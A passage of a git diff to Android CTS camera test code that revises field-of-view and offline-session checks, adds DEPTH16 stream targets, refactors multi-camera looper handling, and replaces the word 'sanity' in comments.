+ StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
CaptureResult physicalResult = physicalResultsDual.get(physicalId);
Rect physicalCropRegion = physicalResult.get(CaptureResult.SCALER_CROP_REGION);
- final Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+ Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+ Float physicalZoomRatio = physicalResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+ Rect physicalActiveArraySize = physicalStaticInfo.getActiveArraySizeChecked();
+ SizeF physicalSensorSize = mStaticInfo.getValueFromKeyNonNull(
+ CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
- StaticMetadata staticInfo = mAllStaticInfo.get(physicalId);
- final Rect activeArraySize = staticInfo.getActiveArraySizeChecked();
- final Float maxDigitalZoom = staticInfo.getAvailableMaxDigitalZoomChecked();
- int maxWidth = activeArraySize.width();
- int minWidth = (int)(activeArraySize.width() / maxDigitalZoom);
- int expectedCropWidth = Math.max(Math.min(Math.round(fov * 2 * physicalFocalLength),
- maxWidth), minWidth);
+ double physicalFov = 2 * Math.toDegrees(Math.atan2(
+ physicalSensorSize.getWidth() * physicalCropRegion.width() /
+ (2 * physicalZoomRatio * physicalActiveArraySize.width()), physicalFocalLength));
- // Makes sure FOV matches to the maximum extent.
- assertTrue("Physical stream FOV (Field of view) should match logical stream to most "
- + "extent. Crop region actual width " + physicalCropRegion.width() +
- " vs expected width " + expectedCropWidth,
- Math.abs((float)physicalCropRegion.width() - expectedCropWidth) /
- expectedCropWidth < FOV_THRESHOLD);
+ double maxPhysicalFov = 2 * Math.toDegrees(Math.atan2(physicalSensorSize.getWidth() / 2,
+ physicalFocalLength));
+ double expectedPhysicalFov = Math.min(maxPhysicalFov, fov);
- // Makes sure aspect ratio matches.
- float physicalCropAspectRatio =
- (float)physicalCropRegion.width() / physicalCropRegion.height();
- assertTrue("Physical stream for camera " + physicalId + " aspect ratio " +
- physicalCropAspectRatio + " should match logical streams aspect ratio " +
- cropAspectRatio, Math.abs(physicalCropAspectRatio - cropAspectRatio) <
- ASPECT_RATIO_THRESHOLD);
+ if (VERBOSE) {
+ Log.v(TAG, "Logical camera Fov: " + fov + ", maxPhyiscalFov: " + maxPhysicalFov +
+ ", physicalFov: " + physicalFov);
+ }
+ assertTrue("Physical stream FOV (Field of view) should be greater or equal to"
+ + " min(logical stream FOV, max physical stream FOV). Physical FOV: "
+ + physicalFov + " vs min(" + fov + ", " + maxPhysicalFov,
+ physicalFov - expectedPhysicalFov > -FOV_THRESHOLD);
}
-
-
}
/**
diff --git a/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
index 6c60e5f..2eb6004 100644
--- a/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
@@ -59,6 +59,8 @@
import java.util.ArrayList;
import java.util.List;
+import junit.framework.AssertionFailedError;
+
@RunWith(Parameterized.class)
public class OfflineSessionTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "OfflineSessionTest";
@@ -325,19 +327,19 @@
}
openDevice(mCameraIdsUnderTest[i]);
- camera2OfflineSessionTest(mCameraIdsUnderTest[i], mOrderedStillSizes.get(0),
- ImageFormat.JPEG, OfflineTestSequence.CloseDeviceAndOpenRemote);
-
- // Verify that the remote camera was opened correctly
- List<ErrorLoggingService.LogEvent> allEvents = null;
- try {
- allEvents = errorConnection.getLog(WAIT_FOR_STATE_TIMEOUT_MS,
- TestConstants.EVENT_CAMERA_CONNECT);
- } catch (TimeoutException e) {
- fail("Timed out waiting on remote offline process error log!");
+ if (camera2OfflineSessionTest(mCameraIdsUnderTest[i], mOrderedStillSizes.get(0),
+ ImageFormat.JPEG, OfflineTestSequence.CloseDeviceAndOpenRemote)) {
+ // Verify that the remote camera was opened correctly
+ List<ErrorLoggingService.LogEvent> allEvents = null;
+ try {
+ allEvents = errorConnection.getLog(WAIT_FOR_STATE_TIMEOUT_MS,
+ TestConstants.EVENT_CAMERA_CONNECT);
+ } catch (TimeoutException e) {
+ fail("Timed out waiting on remote offline process error log!");
+ }
+ assertNotNull("Failed to connect to camera device in remote offline process!",
+ allEvents);
}
- assertNotNull("Failed to connect to camera device in remote offline process!",
- allEvents);
} finally {
closeDevice();
@@ -481,6 +483,17 @@
}
}
+ private void checkForSequenceAbort(SimpleCaptureCallback resultListener, int sequenceId) {
+ ArrayList<Integer> abortedSeq = resultListener.geAbortedSequences(
+ 1 /*maxNumbAborts*/);
+ assertNotNull("No aborted capture sequence ids present", abortedSeq);
+ assertTrue("Unexpected number of aborted capture sequence ids : " +
+ abortedSeq.size() + " expected 1", abortedSeq.size() == 1);
+ assertTrue("Unexpected abort capture sequence id: " +
+ abortedSeq.get(0).intValue() + " expected capture sequence id: " +
+ sequenceId, abortedSeq.get(0).intValue() == sequenceId);
+ }
+
private void verifyCaptureResults(SimpleCaptureCallback resultListener,
SimpleImageReaderListener imageListener, int sequenceId, boolean offlineResults)
throws Exception {
@@ -524,8 +537,18 @@
sequenceLastFrameNumber, lastFrameNumberReceived);
}
- private void camera2OfflineSessionTest(String cameraId, Size offlineSize, int offlineFormat,
+ /**
+ * Verify offline session behavior during common use cases
+ *
+ * @param cameraId Id of the camera device under test
+ * @param offlineSize The offline surface size
+ * @param offlineFormat The offline surface pixel format
+ * @param testSequence Specific scenario to be verified
+ * @return true if the offline session switch is successful, false if there is any failure.
+ */
+ private boolean camera2OfflineSessionTest(String cameraId, Size offlineSize, int offlineFormat,
OfflineTestSequence testSequence) throws Exception {
+ boolean ret = false;
int remoteOfflinePID = -1;
Size previewSize = mOrderedPreviewSizes.get(0);
for (Size sz : mOrderedPreviewSizes) {
@@ -571,7 +594,7 @@
if (!mSession.supportsOfflineProcessing(mReaderSurface)) {
Log.i(TAG, "Camera does not support offline processing for still capture output");
- return;
+ return false;
}
// Configure the requests.
@@ -626,8 +649,16 @@
verify(mockOfflineCb, times(0)).onError(offlineSession,
CameraOfflineSessionCallback.STATUS_INTERNAL_ERROR);
- verifyCaptureResults(resultListener, null /*imageListener*/, repeatingSeqId,
- false /*offlineResults*/);
+ try {
+ verifyCaptureResults(resultListener, null /*imageListener*/, repeatingSeqId,
+ false /*offlineResults*/);
+ } catch (AssertionFailedError e) {
+ if (testSequence == OfflineTestSequence.RepeatingSequenceAbort) {
+ checkForSequenceAbort(resultListener, repeatingSeqId);
+ } else {
+ throw e;
+ }
+ }
verifyCaptureResults(offlineResultListener, null /*imageListener*/, offlineSeqId,
true /*offlineResults*/);
} else {
@@ -636,14 +667,7 @@
switch (testSequence) {
case RepeatingSequenceAbort:
- ArrayList<Integer> abortedSeq = resultListener.geAbortedSequences(
- 1 /*maxNumbAborts*/);
- assertNotNull("No aborted capture sequence ids present", abortedSeq);
- assertTrue("Unexpected number of aborted capture sequence ids : " +
- abortedSeq.size() + " expected 1", abortedSeq.size() == 1);
- assertTrue("Unexpected abort capture sequence id: " +
- abortedSeq.get(0).intValue() + " expected capture sequence id: " +
- repeatingSeqId, abortedSeq.get(0).intValue() == repeatingSeqId);
+ checkForSequenceAbort(resultListener, repeatingSeqId);
break;
case CloseDeviceAndOpenRemote:
// According to the documentation, closing the initial camera device and
@@ -741,11 +765,15 @@
offlineCb.waitForState(BlockingOfflineSessionCallback.STATE_CLOSED,
WAIT_FOR_STATE_TIMEOUT_MS);
verify(mockOfflineCb, times(1)).onClosed(offlineSession);
+
+ ret = true;
}
closeImageReader();
stopRemoteOfflineTestProcess(remoteOfflinePID);
+
+ return ret;
}
private void checkInitialResults(SimpleCaptureCallback resultListener) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 067104c..bf42ab7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -2046,7 +2046,7 @@
}
/**
- * Validate video snapshot capture image object sanity and test.
+ * Validate video snapshot capture image object validity and test.
*
* <p> Check for size, format and jpeg decoding</p>
*
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 80a2fe95..32c927e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -327,10 +327,12 @@
List<ImageReader> y8Targets = new ArrayList<ImageReader>();
List<ImageReader> rawTargets = new ArrayList<ImageReader>();
List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+ List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
- jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, outputConfigs,
- MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId, mHandler);
+ jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
+ outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
+ mHandler);
boolean haveSession = false;
try {
@@ -416,6 +418,9 @@
for (ImageReader target : heicTargets) {
target.close();
}
+ for (ImageReader target : depth16Targets) {
+ target.close();
+ }
}
/**
@@ -498,6 +503,7 @@
List<ImageReader> y8Targets = new ArrayList<>();
List<ImageReader> rawTargets = new ArrayList<>();
List<ImageReader> heicTargets = new ArrayList<>();
+ List<ImageReader> depth16Targets = new ArrayList<>();
ArrayList<Surface> outputSurfaces = new ArrayList<>();
List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
ImageReader inputReader = null;
@@ -527,7 +533,7 @@
// separately.
CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
- outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
+ depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
outputSurfaces.ensureCapacity(outputConfigs.size());
@@ -649,6 +655,10 @@
target.close();
}
+ for (ImageReader target : depth16Targets) {
+ target.close();
+ }
+
if (inputReader != null) {
inputReader.close();
}
@@ -1829,7 +1839,7 @@
{ LEGACY_COMBINATIONS, LIMITED_COMBINATIONS, BURST_COMBINATIONS, FULL_COMBINATIONS,
RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
- sanityCheckConfigurationTables(TABLES);
+ validityCheckConfigurationTables(TABLES);
for (String id : mCameraIdsUnderTest) {
openDevice(id);
@@ -1965,7 +1975,7 @@
final int[][][] TABLES =
{ LIMITED_COMBINATIONS, FULL_COMBINATIONS, RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
- sanityCheckConfigurationTables(TABLES);
+ validityCheckConfigurationTables(TABLES);
for (String id : mCameraIdsUnderTest) {
openDevice(id);
@@ -2091,9 +2101,9 @@
}
/**
- * Sanity check the configuration tables.
+ * Verify correctness of the configuration tables.
*/
- private void sanityCheckConfigurationTables(final int[][][] tables) throws Exception {
+ private void validityCheckConfigurationTables(final int[][][] tables) throws Exception {
int tableIdx = 0;
for (int[][] table : tables) {
int rowIdx = 0;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 991649e..5f2f961 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -1564,9 +1564,9 @@
}
/**
- * Validate JPEG capture image object sanity and test.
+ * Validate JPEG capture image object correctness and test.
* <p>
- * In addition to image object sanity, this function also does the decoding
+ * In addition to image object correctness, this function also does the decoding
* test, which is slower.
* </p>
*
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index c8330f7..c2645ad 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -75,6 +75,7 @@
private static final String TAG = "CameraTest";
private static final String PACKAGE = "android.hardware.cts";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+ private String mRecordingPath = null;
private String mJpegPath = null;
private byte[] mJpegData;
@@ -151,31 +152,50 @@
* receive the callback messages.
*/
private void initializeMessageLooper(final int cameraId) throws IOException {
+ LooperInfo looperInfo = new LooperInfo();
+ initializeMessageLooper(cameraId, mErrorCallback, looperInfo);
+ mIsExternalCamera = looperInfo.isExternalCamera;
+ mCamera = looperInfo.camera;
+ mLooper = looperInfo.looper;
+ }
+
+ private final class LooperInfo {
+ Camera camera = null;
+ Looper looper = null;
+ boolean isExternalCamera = false;
+ };
+
+ /*
+ * Initializes the message looper so that the Camera object can
+ * receive the callback messages.
+ */
+ private void initializeMessageLooper(final int cameraId, final ErrorCallback errorCallback,
+ LooperInfo looperInfo) throws IOException {
final ConditionVariable startDone = new ConditionVariable();
final CameraCtsActivity activity = mActivityRule.getActivity();
new Thread() {
@Override
public void run() {
- Log.v(TAG, "start loopRun");
+ Log.v(TAG, "start loopRun for cameraId " + cameraId);
// Set up a looper to be used by camera.
Looper.prepare();
// Save the looper so that we can terminate this thread
// after we are done with it.
- mLooper = Looper.myLooper();
+ looperInfo.looper = Looper.myLooper();
try {
- mIsExternalCamera = CameraUtils.isExternal(
+ looperInfo.isExternalCamera = CameraUtils.isExternal(
activity.getApplicationContext(), cameraId);
} catch (Exception e) {
Log.e(TAG, "Unable to query external camera!" + e);
}
try {
- mCamera = Camera.open(cameraId);
- mCamera.setErrorCallback(mErrorCallback);
+ looperInfo.camera = Camera.open(cameraId);
+ looperInfo.camera.setErrorCallback(errorCallback);
} catch (RuntimeException e) {
- Log.e(TAG, "Fail to open camera." + e);
+ Log.e(TAG, "Fail to open camera id " + cameraId + ": " + e);
}
- Log.v(TAG, "camera is opened");
+ Log.v(TAG, "camera" + cameraId + " is opened");
startDone.open();
Looper.loop(); // Blocks forever until Looper.quit() is called.
if (VERBOSE) Log.v(TAG, "initializeMessageLooper: quit.");
@@ -187,14 +207,14 @@
Log.v(TAG, "initializeMessageLooper: start timeout");
fail("initializeMessageLooper: start timeout");
}
- assertNotNull("Fail to open camera.", mCamera);
- mCamera.setPreviewDisplay(activity.getSurfaceView().getHolder());
-
+ assertNotNull("Fail to open camera " + cameraId, looperInfo.camera);
+ looperInfo.camera.setPreviewDisplay(activity.getSurfaceView().getHolder());
File parent = activity.getPackageManager().isInstantApp()
? activity.getFilesDir()
: activity.getExternalFilesDir(null);
mJpegPath = parent.getPath() + "/test.jpg";
+ mRecordingPath = parent.getPath() + "/test_video.mp4";
}
/*
@@ -208,21 +228,33 @@
* Terminates the message looper thread, optionally allowing evict error
*/
private void terminateMessageLooper(boolean allowEvict) throws Exception {
- mLooper.quit();
+ LooperInfo looperInfo = new LooperInfo();
+ looperInfo.camera = mCamera;
+ looperInfo.looper = mLooper;
+ terminateMessageLooper(allowEvict, mCameraErrorCode, looperInfo);
+ mCamera = null;
+ }
+
+ /*
+ * Terminates the message looper thread, optionally allowing evict error
+ */
+ private void terminateMessageLooper(final boolean allowEvict, final int errorCode,
+ final LooperInfo looperInfo) throws Exception {
+ looperInfo.looper.quit();
// Looper.quit() is asynchronous. The looper may still has some
// preview callbacks in the queue after quit is called. The preview
// callback still uses the camera object (setHasPreviewCallback).
// After camera is released, RuntimeException will be thrown from
// the method. So we need to join the looper thread here.
- mLooper.getThread().join();
- mCamera.release();
- mCamera = null;
+ looperInfo.looper.getThread().join();
+ looperInfo.camera.release();
+ looperInfo.camera = null;
if (allowEvict) {
assertTrue("Got unexpected camera error callback.",
- (NO_ERROR == mCameraErrorCode ||
- Camera.CAMERA_ERROR_EVICTED == mCameraErrorCode));
+ (NO_ERROR == errorCode ||
+ Camera.CAMERA_ERROR_EVICTED == errorCode));
} else {
- assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
+ assertEquals("Got camera error callback.", NO_ERROR, errorCode);
}
}
@@ -342,6 +374,15 @@
}
}
+ // parent independent version of TestErrorCallback
+ private static final class TestErrorCallbackI implements ErrorCallback {
+ private int mCameraErrorCode = NO_ERROR;
+ public void onError(int error, Camera camera) {
+ Log.e(TAG, "Got camera error=" + error);
+ mCameraErrorCode = error;
+ }
+ }
+
private final class AutoFocusCallback
implements android.hardware.Camera.AutoFocusCallback {
public void onAutoFocus(boolean success, Camera camera) {
@@ -1004,9 +1045,9 @@
}
/**
- * Sanity check of some extra exif tags.
+ * Correctness check of some extra exif tags.
* <p>
- * Sanity check some extra exif tags without asserting the check failures
+ * Check some extra exif tags without asserting the check failures
* immediately. When a failure is detected, the failure cause is logged,
* the rest of the tests are still executed. The caller can assert with the
* failure cause based on the returned test status.
@@ -1330,7 +1371,7 @@
recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
recorder.setVideoSize(size.width, size.height);
- recorder.setOutputFile("/dev/null");
+ recorder.setOutputFile(mRecordingPath);
recorder.setPreviewDisplay(holder.getSurface());
recorder.prepare();
recorder.start();
@@ -1377,7 +1418,7 @@
recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
recorder.setProfile(profile);
- recorder.setOutputFile("/dev/null");
+ recorder.setOutputFile(mRecordingPath);
recorder.setPreviewDisplay(holder.getSurface());
recorder.prepare();
recorder.start();
@@ -2552,54 +2593,53 @@
testCamera0.release();
testCamera1.release();
- // Start first camera
- if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening camera 0");
- initializeMessageLooper(0);
- SimplePreviewStreamCb callback0 = new SimplePreviewStreamCb(0);
- mCamera.setPreviewCallback(callback0);
+ LooperInfo looperInfo0 = new LooperInfo();
+ LooperInfo looperInfo1 = new LooperInfo();
+
+ ConditionVariable previewDone0 = new ConditionVariable();
+ ConditionVariable previewDone1 = new ConditionVariable();
+ // Open both cameras camera
+ if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening cameras 0 and 1");
+ TestErrorCallbackI errorCallback0 = new TestErrorCallbackI();
+ TestErrorCallbackI errorCallback1 = new TestErrorCallbackI();
+ initializeMessageLooper(0, errorCallback0, looperInfo0);
+ initializeMessageLooper(1, errorCallback1, looperInfo1);
+
+ SimplePreviewStreamCbI callback0 = new SimplePreviewStreamCbI(0, previewDone0);
+ looperInfo0.camera.setPreviewCallback(callback0);
if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Starting preview on camera 0");
- mCamera.startPreview();
+ looperInfo0.camera.startPreview();
// Run preview for a bit
for (int f = 0; f < 100; f++) {
- mPreviewDone.close();
+ previewDone0.close();
assertTrue("testMultiCameraRelease: First camera preview timed out on frame " + f + "!",
- mPreviewDone.block( WAIT_FOR_COMMAND_TO_COMPLETE));
+ previewDone0.block( WAIT_FOR_COMMAND_TO_COMPLETE));
}
if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 0");
- mCamera.stopPreview();
- // Save message looper and camera to deterministically release them, instead
- // of letting GC do it at some point.
- Camera firstCamera = mCamera;
- Looper firstLooper = mLooper;
- //terminateMessageLooper(); // Intentionally not calling this
- // Preview surface should be released though!
- mCamera.setPreviewDisplay(null);
+ looperInfo0.camera.stopPreview();
- // Start second camera without releasing the first one (will
- // set mCamera and mLooper to new objects)
- if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening camera 1");
- initializeMessageLooper(1);
- SimplePreviewStreamCb callback1 = new SimplePreviewStreamCb(1);
- mCamera.setPreviewCallback(callback1);
+ // Preview surface should be released though!
+ looperInfo0.camera.setPreviewDisplay(null);
+
+ SimplePreviewStreamCbI callback1 = new SimplePreviewStreamCbI(1, previewDone1);
+ looperInfo1.camera.setPreviewCallback(callback1);
if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Starting preview on camera 1");
- mCamera.startPreview();
- // Run preview for a bit - GC of first camera instance should not impact the second's
- // operation.
+ looperInfo1.camera.startPreview();
for (int f = 0; f < 100; f++) {
- mPreviewDone.close();
+ previewDone1.close();
assertTrue("testMultiCameraRelease: Second camera preview timed out on frame " + f + "!",
- mPreviewDone.block( WAIT_FOR_COMMAND_TO_COMPLETE));
+ previewDone1.block( WAIT_FOR_COMMAND_TO_COMPLETE));
if (f == 50) {
// Release first camera mid-preview, should cause no problems
if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Releasing camera 0");
- firstCamera.release();
+ looperInfo0.camera.release();
}
}
- if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 0");
- mCamera.stopPreview();
+ if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 1");
+ looperInfo1.camera.stopPreview();
- firstLooper.quit();
- terminateMessageLooper(true/*allowEvict*/);
+ looperInfo0.looper.quit();
+ terminateMessageLooper(true, errorCallback1.mCameraErrorCode, looperInfo1);
}
// This callback just signals on the condition variable, making it useful for checking that
@@ -2616,6 +2656,21 @@
}
}
+ // Parent independent version of SimplePreviewStreamCb
+ private static final class SimplePreviewStreamCbI
+ implements android.hardware.Camera.PreviewCallback {
+ private int mId;
+ private ConditionVariable mPreviewDone = null;
+ public SimplePreviewStreamCbI(int id, ConditionVariable previewDone) {
+ mId = id;
+ mPreviewDone = previewDone;
+ }
+ public void onPreviewFrame(byte[] data, android.hardware.Camera camera) {
+ if (VERBOSE) Log.v(TAG, "Preview frame callback, id " + mId + ".");
+ mPreviewDone.open();
+ }
+ }
+
@UiThreadTest
@Test
public void testFocusAreas() throws Exception {
@@ -2862,7 +2917,7 @@
recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
recorder.setVideoSize(size.width, size.height);
- recorder.setOutputFile("/dev/null");
+ recorder.setOutputFile(mRecordingPath);
recorder.setPreviewDisplay(holder.getSurface());
recorder.prepare();
recorder.start();
@@ -2883,7 +2938,7 @@
recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
recorder.setProfile(profile);
- recorder.setOutputFile("/dev/null");
+ recorder.setOutputFile(mRecordingPath);
recorder.setPreviewDisplay(holder.getSurface());
recorder.prepare();
recorder.start();
@@ -3338,7 +3393,7 @@
recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
recorder.setProfile(profile);
- recorder.setOutputFile("/dev/null");
+ recorder.setOutputFile(mRecordingPath);
recorder.setPreviewDisplay(holder.getSurface());
recorder.prepare();
recorder.start();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 9561eb0..9866070 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -209,7 +209,7 @@
List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
List<ImageReader> rawTargets, List<ImageReader> heicTargets,
- List<OutputConfiguration> outputConfigs,
+ List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
int numBuffers, boolean substituteY8, boolean substituteHeic,
String overridePhysicalCameraId, Handler handler) {
@@ -307,6 +307,18 @@
heicTargets.add(target);
break;
}
+ case ImageFormat.DEPTH16: {
+ ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+ targetSize.getHeight(), format, numBuffers);
+ target.setOnImageAvailableListener(imageDropperListener, handler);
+ OutputConfiguration config = new OutputConfiguration(target.getSurface());
+ if (overridePhysicalCameraId != null) {
+ config.setPhysicalCameraId(overridePhysicalCameraId);
+ }
+ outputConfigs.add(config);
+ depth16Targets.add(target);
+ break;
+ }
default:
fail("Unknown output format " + format);
}
@@ -395,7 +407,7 @@
image = reader.acquireNextImage();
} finally {
if (image != null) {
- // Should only do some quick sanity check in callback, as the ImageReader
+ // Should only do some quick validity checks in callback, as the ImageReader
// could be closed asynchronously, which will close all images acquired from
// this ImageReader.
checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
@@ -2443,7 +2455,7 @@
/**
* Simple validation of JPEG image size and format.
* <p>
- * Only validate the image object sanity. It is fast, but doesn't actually
+ * Only validate the image object basic correctness. It is fast, but doesn't actually
* check the buffer data. Assert is used here as it make no sense to
* continue the test if the jpeg image captured has some serious failures.
* </p>
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
index cb9e522..bef3e26 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
@@ -22,7 +22,7 @@
/**
* Helper set of methods to perform precondition checks before starting method execution.
*
- * <p>Typically used to sanity check arguments or the current object state.</p>
+ * <p>Typically used to validity check arguments or the current object state.</p>
*/
public final class Preconditions {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 332964c..a05af2a 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -518,7 +518,7 @@
}
/**
- * Get max AE regions and do sanity check.
+ * Get max AE regions and do validity check.
*
* @return AE max regions supported by the camera device
*/
@@ -531,7 +531,7 @@
}
/**
- * Get max AWB regions and do sanity check.
+ * Get max AWB regions and do validity check.
*
* @return AWB max regions supported by the camera device
*/
@@ -544,7 +544,7 @@
}
/**
- * Get max AF regions and do sanity check.
+ * Get max AF regions and do validity check.
*
* @return AF max regions supported by the camera device
*/
@@ -628,7 +628,7 @@
}
/**
- * Get available thumbnail sizes and do the sanity check.
+ * Get available thumbnail sizes and do the validity check.
*
* @return The array of available thumbnail sizes
*/
@@ -656,7 +656,7 @@
}
/**
- * Get available focal lengths and do the sanity check.
+ * Get available focal lengths and do the validity check.
*
* @return The array of available focal lengths
*/
@@ -677,7 +677,7 @@
}
/**
- * Get available apertures and do the sanity check.
+ * Get available apertures and do the validity check.
*
* @return The non-null array of available apertures
*/
@@ -992,7 +992,7 @@
}
/**
- * Get hyperfocalDistance and do the sanity check.
+ * Get hyperfocalDistance and do the validity check.
* <p>
* Note that, this tag is optional, will return -1 if this tag is not
* available.
@@ -1151,7 +1151,7 @@
}
/**
- * get android.control.availableModes and do the sanity check.
+ * get android.control.availableModes and do the validity check.
*
* @return available control modes.
*/
@@ -1207,7 +1207,7 @@
}
/**
- * Get aeAvailableModes and do the sanity check.
+ * Get aeAvailableModes and do the validity check.
*
* <p>Depending on the check level this class has, for WAR or COLLECT levels,
* If the aeMode list is invalid, return an empty mode array. The the caller doesn't
@@ -1277,7 +1277,7 @@
}
/**
- * Get available AWB modes and do the sanity check.
+ * Get available AWB modes and do the validity check.
*
* @return array that contains available AWB modes, empty array if awbAvailableModes is
* unavailable.
@@ -1303,7 +1303,7 @@
}
/**
- * Get available AF modes and do the sanity check.
+ * Get available AF modes and do the validity check.
*
* @return array that contains available AF modes, empty array if afAvailableModes is
* unavailable.
@@ -1691,7 +1691,7 @@
}
/**
- * Get value of key android.control.aeCompensationStep and do the sanity check.
+ * Get value of key android.control.aeCompensationStep and do the validity check.
*
* @return default value if the value is null.
*/
@@ -1716,7 +1716,7 @@
}
/**
- * Get value of key android.control.aeCompensationRange and do the sanity check.
+ * Get value of key android.control.aeCompensationRange and do the validity check.
*
* @return default value if the value is null or malformed.
*/
@@ -1746,7 +1746,7 @@
}
/**
- * Get availableVideoStabilizationModes and do the sanity check.
+ * Get availableVideoStabilizationModes and do the validity check.
*
* @return available video stabilization modes, empty array if it is unavailable.
*/
@@ -1777,7 +1777,7 @@
}
/**
- * Get availableOpticalStabilization and do the sanity check.
+ * Get availableOpticalStabilization and do the validity check.
*
* @return available optical stabilization modes, empty array if it is unavailable.
*/
@@ -1967,7 +1967,7 @@
}
/**
- * Get max pipeline depth and do the sanity check.
+ * Get max pipeline depth and do the validity check.
*
* @return max pipeline depth, default value if it is not available.
*/
@@ -2033,7 +2033,7 @@
/**
- * Get available capabilities and do the sanity check.
+ * Get available capabilities and do the validity check.
*
* @return reported available capabilities list, empty list if the value is unavailable.
*/
@@ -2299,7 +2299,7 @@
}
/**
- * Get max number of output raw streams and do the basic sanity check.
+ * Get max number of output raw streams and do the basic validity check.
*
* @return reported max number of raw output stream
*/
@@ -2312,7 +2312,7 @@
}
/**
- * Get max number of output processed streams and do the basic sanity check.
+ * Get max number of output processed streams and do the basic validity check.
*
* @return reported max number of processed output stream
*/
@@ -2325,7 +2325,7 @@
}
/**
- * Get max number of output stalling processed streams and do the basic sanity check.
+ * Get max number of output stalling processed streams and do the basic validity check.
*
* @return reported max number of stalling processed output stream
*/
@@ -2338,7 +2338,7 @@
}
/**
- * Get lens facing and do the sanity check
+ * Get lens facing and do the validity check
* @return lens facing, return default value (BACK) if value is unavailable.
*/
public int getLensFacingChecked() {
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
